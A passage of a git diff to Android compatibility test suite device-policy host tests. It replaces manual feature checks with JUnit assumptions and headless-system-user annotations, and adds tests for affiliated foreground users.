-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testUserAddedOrRemovedBroadcasts");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeDeviceTestMethod(".CreateAndManageUserTest", "testUserAddedOrRemovedBroadcasts");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testUserSession() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("UserSessionTest");
     }
 
     @Test
     public void testNetworkLoggingWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createUser();
         try {
@@ -470,9 +387,6 @@
     @FlakyTest(bugId = 137092833)
     @Test
     public void testNetworkLoggingWithSingleUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".NetworkLoggingTest", "testProvidingWrongBatchTokenReturnsNull");
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
@@ -480,9 +394,6 @@
 
     @Test
     public void testNetworkLogging_multipleBatches() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(2)));
     }
@@ -490,9 +401,6 @@
     @LargeTest
     @Test
     public void testNetworkLogging_rebootResetsId() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // First batch: retrieve and verify the events.
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
@@ -508,9 +416,6 @@
 
     @Test
     public void testSetAffiliationId_IllegalArgumentException() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_null");
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
     }
@@ -518,9 +423,6 @@
     @Test
     @Ignore("b/145932189")
     public void testSetSystemUpdatePolicyLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".SystemUpdatePolicyTest", "testSetAutomaticInstallPolicy");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_SYSTEM_UPDATE_POLICY_VALUE)
@@ -549,16 +451,16 @@
 
     @FlakyTest(bugId = 127101449)
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testWifiConfigLockdown() throws Exception {
-        final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
-        if (hasWifi && mHasFeature) {
-            try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
-                installAppAsUser(WIFI_CONFIG_CREATOR_APK, mPrimaryUserId);
-                locationModeSetter.setLocationEnabled(true);
-                executeDeviceOwnerTest("WifiConfigLockdownTest");
-            } finally {
-                getDevice().uninstallPackage(WIFI_CONFIG_CREATOR_PKG);
-            }
+        assumeHasWifiFeature();
+
+        try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
+            installAppAsUser(WIFI_CONFIG_CREATOR_APK, mPrimaryUserId);
+            locationModeSetter.setLocationEnabled(true);
+            executeDeviceOwnerTest("WifiConfigLockdownTest");
+        } finally {
+            getDevice().uninstallPackage(WIFI_CONFIG_CREATOR_PKG);
         }
     }
 
@@ -566,21 +468,17 @@
      * Execute WifiSetHttpProxyTest as device owner.
      */
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testWifiSetHttpProxyTest() throws Exception {
-        final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
-        if (hasWifi && mHasFeature) {
-            try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
-                locationModeSetter.setLocationEnabled(true);
-                executeDeviceOwnerTest("WifiSetHttpProxyTest");
-            }
+        assumeHasWifiFeature();
+        try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
+            locationModeSetter.setLocationEnabled(true);
+            executeDeviceOwnerTest("WifiSetHttpProxyTest");
         }
     }
 
     @Test
     public void testCannotSetDeviceOwnerAgain() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // verify that we can't set the same admin receiver as device owner again
         assertFalse(setDeviceOwner(
                 DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
@@ -601,10 +499,8 @@
 
     // Execute HardwarePropertiesManagerTest as a device owner.
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testHardwarePropertiesManagerAsDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         executeDeviceTestMethod(".HardwarePropertiesManagerTest", "testHardwarePropertiesManager");
     }
@@ -612,18 +508,12 @@
     // Execute VrTemperatureTest as a device owner.
     @Test
     public void testVrTemperaturesAsDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         executeDeviceTestMethod(".VrTemperatureTest", "testVrTemperatures");
     }
 
     @Test
     public void testIsManagedDeviceProvisioningAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // This case runs when DO is provisioned
         // mHasFeature == true and provisioned, can't provision DO again.
         executeDeviceTestMethod(".PreDeviceOwnerTest", "testIsProvisioningAllowedFalse");
@@ -633,96 +523,51 @@
      * Can provision Managed Profile when DO is set by default if they are the same admin.
      */
     @Test
+    @RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
     public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!hasDeviceFeature("android.software.managed_users")) {
-            return;
-        }
         executeDeviceTestMethod(".PreDeviceOwnerTest",
                 "testIsProvisioningNotAllowedForManagedProfileAction");
     }
 
     @FlakyTest(bugId = 137096267)
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testAdminActionBookkeeping() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("AdminActionBookkeepingTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
-            }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(
-                    EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build());
-
-            if (isLowRamDevice()) {
-                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
-                // leaves a state where future bug report requests will fail - usually this is
-                // handled by a NotificationListenerService but on low ram devices this isn't
-                // available so we must reboot
-                rebootAndWaitUntilReady();
-            }
-
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
-            }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
-                    .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .build());
-
-            if (isLowRamDevice()) {
-                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
-                // leaves a state where future bug report requests will fail - usually this is
-                // handled by a NotificationListenerService but on low ram devices this isn't
-                // available so we must reboot
-                rebootAndWaitUntilReady();
-            }
-        }
-    }
-
-    private boolean isLowRamDevice() {
-        try {
-            return getBooleanSystemProperty("ro.config.low_ram", false);
-        } catch (DeviceNotAvailableException e) {
-            return false;
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
+        }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build());
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
+        }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .build());
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testBluetoothRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("BluetoothRestrictionTest");
     }
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("SetTimeTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testSetLocationEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("SetLocationEnabledTest");
     }
 
     @Test
     public void testDeviceOwnerProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
     }
 
@@ -733,15 +578,12 @@
     public void testAllowProvisioningProperty() throws Exception {
         boolean isProvisioningAllowedForNormalUsers =
                 getBooleanSystemProperty("ro.config.allowuserprovisioning", true);
-        boolean isTv = hasDeviceFeature("android.software.leanback");
-        assertTrue(isProvisioningAllowedForNormalUsers || isTv);
+        assertTrue(isProvisioningAllowedForNormalUsers || isTv());
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testDisallowFactoryReset() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int adminVersion = 24;
         changeUserRestrictionOrFail("no_factory_reset", true, mPrimaryUserId,
                 DEVICE_OWNER_PKG);
@@ -762,30 +604,24 @@
 
     @Test
     public void testBackupServiceEnabling() throws Exception {
-        final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
+        assumeHasBackupFeature();
         // The backup service cannot be enabled if the backup feature is not supported.
-        if (!mHasFeature || !hasBackupService) {
-            return;
-        }
+
         executeDeviceTestMethod(".BackupServicePoliciesTest",
                 "testEnablingAndDisablingBackupService");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testDeviceOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Device Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".DeviceIdentifiersTest",
                 "testDeviceOwnerCanGetDeviceIdentifiersWithPermission");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testPackageInstallCache() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
         try {
@@ -827,10 +663,10 @@
 
     @LargeTest
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testPackageInstallCache_multiUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         final int userId = createAffiliatedSecondaryUser();
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
@@ -883,35 +719,27 @@
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testAirplaneModeRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("AirplaneModeRestrictionTest");
     }
 
     @Test
     public void testOverrideApn() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.telephony")) {
-            return;
-        }
+        assumeHasTelephonyFeature();
+
         executeDeviceOwnerTest("OverrideApnTest");
     }
 
     @FlakyTest(bugId = 134487729)
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testPrivateDnsPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("PrivateDnsPolicyTest");
     }
 
     @Test
     public void testSetKeyguardDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetKeyguardDisabledLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEYGUARD_DISABLED_VALUE)
@@ -921,9 +749,6 @@
 
     @Test
     public void testSetStatusBarDisabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetStatusBarDisabledLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_STATUS_BAR_DISABLED_VALUE)
@@ -938,9 +763,7 @@
 
     @Test
     public void testDefaultSmsApplication() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
 
         installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
 
@@ -950,10 +773,8 @@
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testNoHiddenActivityFoundTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             // Install app to primary user
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_APK, mPrimaryUserId);
@@ -976,9 +797,6 @@
 
     @Test
     public void testSetGlobalSettingLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetGlobalSettingLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
@@ -1001,9 +819,6 @@
 
     @Test
     public void testSetUserControlDisabledPackages() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
             // launch the app once before starting the test.
@@ -1024,7 +839,7 @@
             // The simple app package seems to be set into stopped state on reboot.
             // Launch the activity again to get it out of stopped state.
             startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
-            forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+            forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
                     "testForceStopWithUserControlDisabled");
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
@@ -1037,20 +852,58 @@
         }
     }
 
-    private void executeDeviceOwnerTest(String testClassName) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testAllOperations");
     }
 
-    private void executeDeviceTestMethod(String className, String testName) throws Exception {
-        if (!mHasFeature) {
-            return;
+    @Test
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        if (!removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId)) {
+            fail("Failed to remove device owner for user " + mDeviceOwnerUserId);
         }
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
-                /* deviceOwnerUserId */ mPrimaryUserId);
+
+        executeDeviceTestMethod(".PreDeviceOwnerTest",
+                "testListForegroundAffiliatedUsers_notDeviceOwner");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    // TODO(b/132260693): createAffiliatedSecondaryUser() is failing on headless user
+    @TemporaryIgnoreOnHeadlessSystemUserMode
+    @Test
+    public void testListForegroundAffiliatedUsers_extraUser() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        createAffiliatedSecondaryUser();
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_notAffiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createUser();
+        switchUser(userId);
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_empty");
+    }
+
+    // TODO(b/132260693): createAffiliatedSecondaryUser() is failing on headless user
+    @TemporaryIgnoreOnHeadlessSystemUserMode
+    @Test
+    public void testListForegroundAffiliatedUsers_affiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createAffiliatedSecondaryUser();
+        switchUser(userId);
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
     }
 
     private int createAffiliatedSecondaryUser() throws Exception {
@@ -1058,24 +911,18 @@
         installAppAsUser(INTENT_RECEIVER_APK, userId);
         installAppAsUser(DEVICE_OWNER_APK, userId);
         setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
-
-        switchUser(userId);
-        waitForBroadcastIdle();
         wakeupAndDismissKeyguard();
 
         // Setting the same affiliation ids on both users
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+        CLog.d("createAffiliatedSecondaryUser(): deviceOwnerId=" + mDeviceOwnerUserId
+                + ", primaryUserId=" + mPrimaryUserId + ", newUserId=" + userId);
+        affiliateUsers(DEVICE_OWNER_PKG, mDeviceOwnerUserId, userId);
+
         return userId;
     }
 
     private void executeDeviceTestMethod(String className, String testName,
             Map<String, String> params) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
                 /* deviceOwnerUserId */ mPrimaryUserId, params);
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index c7a2ae6..d746025 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -27,23 +27,20 @@
 public class EphemeralUserTest extends BaseDevicePolicyTest {
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mHasFeature = canCreateAdditionalUsers(1);
+    protected void assumeTestEnabled() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
     }
 
     @Override
     public void tearDown() throws Exception {
         removeTestUsers();
+
         super.tearDown();
     }
 
     /** The user should have the ephemeral flag set if it was created as ephemeral. */
     @Test
     public void testCreateEphemeralUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser(FLAG_EPHEMERAL);
         int flags = getUserFlags(userId);
         assertTrue("ephemeral flag must be set", FLAG_EPHEMERAL == (flags & FLAG_EPHEMERAL));
@@ -52,39 +49,16 @@
     /** The user should not have the ephemeral flag set if it was not created as ephemeral. */
     @Test
     public void testCreateLongLivedUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser();
         int flags = getUserFlags(userId);
         assertTrue("ephemeral flag must not be set", 0 == (flags & FLAG_EPHEMERAL));
     }
 
     /**
-     * The profile should have the ephemeral flag set automatically if its parent user is
-     * ephemeral.
-     */
-    @Test
-    public void testProfileInheritsEphemeral() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
-                || !canCreateAdditionalUsers(2)
-                || !hasUserSplit()) {
-            return;
-        }
-        int userId = createUser(FLAG_EPHEMERAL);
-        int profileId = createManagedProfile(userId);
-        int flags = getUserFlags(profileId);
-        assertTrue("ephemeral flag must be set", FLAG_EPHEMERAL == (flags & FLAG_EPHEMERAL));
-    }
-
-    /**
      * Ephemeral user should be automatically removed after it is stopped.
      */
     @Test
     public void testRemoveEphemeralOnStop() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int userId = createUser(FLAG_EPHEMERAL);
         startUser(userId);
         assertTrue("ephemeral user must exists after start", listUsers().contains(userId));
@@ -98,9 +72,6 @@
      */
     @Test
     public void testEphemeralGuestFeature() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Create a guest user.
         int userId = createUser(FLAG_GUEST);
         int flags = getUserFlags(userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java
new file mode 100644
index 0000000..e24416d
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/HeadlessSystemUserDeviceOwnerTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Test;
+
+// TODO(b/174859111): move to device-side, automotive specific module
+/**
+ * Device owner tests specific for devices that use
+ * {@link android.os.UserManager#isHeadlessSystemUserMode()}.
+ */
+public final class HeadlessSystemUserDeviceOwnerTest extends BaseDeviceOwnerTest {
+
+    @Override
+    public void setUp() throws Exception {
+        assumeTrue("device is not headless system user mode", isHeadlessSystemUserMode());
+
+        super.setUp();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (!isHeadlessSystemUserMode()) return;
+
+        super.tearDown();
+    }
+
+    @Test
+    public void testProfileOwnerIsSetOnCurrentUser() throws Exception {
+        executeDeviceTest("testProfileOwnerIsSetOnCurrentUser");
+    }
+
+    @Test
+    public void testProfileOwnerIsSetOnNewUser() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+
+        executeDeviceTest("testProfileOwnerIsSetOnNewUser");
+    }
+
+    private void executeDeviceTest(String testMethod) throws Exception {
+        executeDeviceTestMethod(".HeadlessSystemUserTest", testMethod);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 5c5438b..b9abace 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -29,40 +29,37 @@
     private int mSecondaryUserId;
     private String mSecondaryUserSerialNumber;
 
-    private boolean mMultiUserSupported;
+    @Override
+    protected void assumeTestEnabled() throws Exception {
+        // We need multi user to be supported in order to create a secondary user
+        // and api level 21 to support LauncherApps
+        assumeSupportsMultiUser();
+        assumeApiLevel(21);
+    }
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need multi user to be supported in order to create a secondary user
-        // and api level 21 to support LauncherApps
-        mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
 
-        if (mMultiUserSupported) {
-            removeTestUsers();
-            uninstallTestApps();
-            installTestApps(mPrimaryUserId);
-            // Create a secondary user.
-            mSecondaryUserId = createUser();
-            mSecondaryUserSerialNumber = Integer.toString(getUserSerialNumber(mSecondaryUserId));
-            startUser(mSecondaryUserId);
-        }
+        removeTestUsers();
+        uninstallTestApps();
+        installTestApps(mPrimaryUserId);
+        // Create a secondary user.
+        mSecondaryUserId = createUser();
+        mSecondaryUserSerialNumber = Integer.toString(getUserSerialNumber(mSecondaryUserId));
+        startUser(mSecondaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mMultiUserSupported) {
-            removeUser(mSecondaryUserId);
-            uninstallTestApps();
-        }
+        removeUser(mSecondaryUserId);
+        uninstallTestApps();
+
         super.tearDown();
     }
 
     @Test
     public void testGetActivitiesForNonProfileFails() throws Exception {
-        if (!mMultiUserSupported) {
-            return;
-        }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
@@ -73,9 +70,6 @@
 
     @Test
     public void testNoLauncherCallbackPackageAddedSecondaryUser() throws Exception {
-        if (!mMultiUserSupported) {
-            return;
-        }
         startCallbackService(mPrimaryUserId);
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index c4618ee..fd267c0 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -16,8 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Test;
@@ -27,6 +30,7 @@
 /**
  * Set of tests for LauncherApps with managed profiles.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class LauncherAppsProfileTest extends BaseLauncherAppsTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
@@ -44,39 +48,33 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            removeTestUsers();
-            // Create a managed profile
-            mParentUserId = mPrimaryUserId;
-            mProfileUserId = createManagedProfile(mParentUserId);
-            installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
-            setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                    mProfileUserId);
-            mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
-            mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
-            startUserAndWait(mProfileUserId);
 
-            // Install test APK on primary user and the managed profile.
-            installTestApps(USER_ALL);
-        }
+        removeTestUsers();
+        // Create a managed profile
+        mParentUserId = mPrimaryUserId;
+        mProfileUserId = createManagedProfile(mParentUserId);
+        installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
+        setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                mProfileUserId);
+        mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
+        mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
+        startUserAndWait(mProfileUserId);
+
+        // Install test APK on primary user and the managed profile.
+        installTestApps(USER_ALL);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mProfileUserId);
-            uninstallTestApps();
-            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
-        }
+        removeUser(mProfileUserId);
+        uninstallTestApps();
+        getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
+
         super.tearDown();
     }
 
     @Test
     public void testGetActivitiesWithProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install app for all users.
         installAppAsUser(SIMPLE_APP_APK, mParentUserId);
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
@@ -110,9 +108,6 @@
 
     @Test
     public void testProfileOwnerAppHiddenInPrimaryProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         String command = "pm disable --user " + mParentUserId + " " + MANAGED_PROFILE_PKG
                 + "/.PrimaryUserFilterSetterActivity";
         CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
@@ -123,9 +118,6 @@
 
     @Test
     public void testNoHiddenActivityInProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install app for all users.
         installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mParentUserId);
         installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mProfileUserId);
@@ -142,9 +134,6 @@
     @FlakyTest
     @Test
     public void testLauncherCallbackPackageAddedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         startCallbackService(mPrimaryUserId);
